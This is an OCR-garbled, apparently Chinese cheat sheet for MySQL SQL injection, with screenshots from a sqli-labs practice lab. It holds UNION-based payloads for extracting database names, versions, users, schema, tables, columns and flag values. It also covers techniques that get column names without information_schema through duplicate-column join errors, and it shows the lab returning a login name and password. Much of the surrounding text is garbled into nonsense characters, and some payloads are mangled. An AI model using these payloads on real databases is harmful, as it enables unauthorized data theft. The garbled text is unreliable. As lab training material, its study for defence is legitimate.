<se|ect A &= >—

—

—
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—

— REUSEFRENE —

EIRHRIEHEES —— union select 1,2,database() from table_name

B HEIEHRERA —— union select 1,2,version() from table_name
ElEZFTuser —— union select 1,2,user() from table_name
BIRFABEIEES —— Mysqlhiids>=5.0 fEAinformation_schema —— union select 1,2,group concat(schema _name) from information_schema.schemata
EIREEPZEIEENFRE —— Mysqlik4>=5.0 AHinformation_ schema —— union select 1,2,group_concat(table name) from information schema.tables where table schema=database()

— Mysqlhlia<>=5.0 gEFinformation_schema —— union select 1,2,group_concat(column_name) from information_schema.columns where table name=flag table

TR
@ FEdb.userfIFEREE —— ?id=1"and (select * from db.user)=1%23 —— EXIFRIE
— MySQL >= 4.1 [ information_schema —— ZEHfiEdb.userfFIEFER :
$REXdb.userfIBNFERE —— ?id=1"and (1,2,3,4)=(select * from db.user union select 1,2,3,4 limit 1) %23 Py and (1,2,3,4) = (SELECT © from db.users UNION SELECT 1,2,3,4 LINIT 1)

EBAFERNIEFR —

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
--#1060 - Duplicate column name 'id’

\___ MySQLS Z:ﬁﬁinformation_SChema ﬁﬁjOin :1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a 1

- #1060 - Duplicate column name 'name’

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a

N select * from table_name where id=2 and 0 union select 1,2,flag from database_name.table_name limit 1

select * from table_name where id=2 and 0 union select 1,2,group_concat(flag) from flag_table

— FHEFERHE —— select “4° from (select 1,2,3,4,5,6 union select * from users)dbname; —j

“— ?id=0" union select 1,2,(select concat('2) from (select 1,2,3 union select * from users)security limit 2,1)%23 — .

~— ?id=1"union select * from (select * from emails join emails b)a%23 ——

M ?id=1"union select * from (select * from emails join emails b using(id))a%23 ——

— ELT, #iFR —

BEE  Jr MR

— BEMEEENRRNRIFRISE

— select ‘4" from (select 1,2,3,4,5,6 union select * from users)dbname;

Welcome
Duplicate column name 'id'

O EEE oomsRE D ReE D ElE NRE ()} ateEs Qe Onr B # @ HakBar @ Cook

incryption v Encoding~v SQL~ XSS~ LFl~ XXE~ Other~

@ Load URL http://inhann.top:12345/Less-1/?id=1" union select * from (select * from emails join emails b)a%23

Welcome
Duplicate column name 'email_id'

T TR mHE DEdE NRE (amEr QO#e Onr B & @ HakBar @ Coo

Encoding~ SQL~ XSS~ LFl~v XXE~ Other~

http://inhann.top:12345/Less-1/?id=1" union select * from (select * from emails join emails b using(\d))a%23\

Welcome
The used SELECT statements have a different number of columns

O mitst N RE () atmEs Qi O wr B & @ HackBar @ Cookie Editor 888 &

XXE v  Other +

http://inhann.top:12345/Less-1/?id=1" union select * from (select * from emails join emails b using(id,email_id))a%23

Welcome
Your Login name:2

Your Password:Angelina

D EEE T AEESRE pHa D Ede NS {(detmes QOus Ons B &% @ HackBar @ Cookie Editor 833 iFBIER:

v Encoding~v SQL~ XSS~ LFIv XXE~ Other~

Load URL http://inhann.top:12345/Less-1/?id=0" union select 1,2,(select concat('2") from (select 1,2,3 union select * from users)security limit 2,1)%23

?id=0" union select 1,2,(select concat('2") from (select 1,2,3 union select * from users)b limit 2,1)

AT

N

%23 {

dbname RE{EA (select 1,2,3 union select * from users) B9BI%, TTLAREER

select 1,2,3 B union * from users , XEgiEMselect 1,2,34EEE



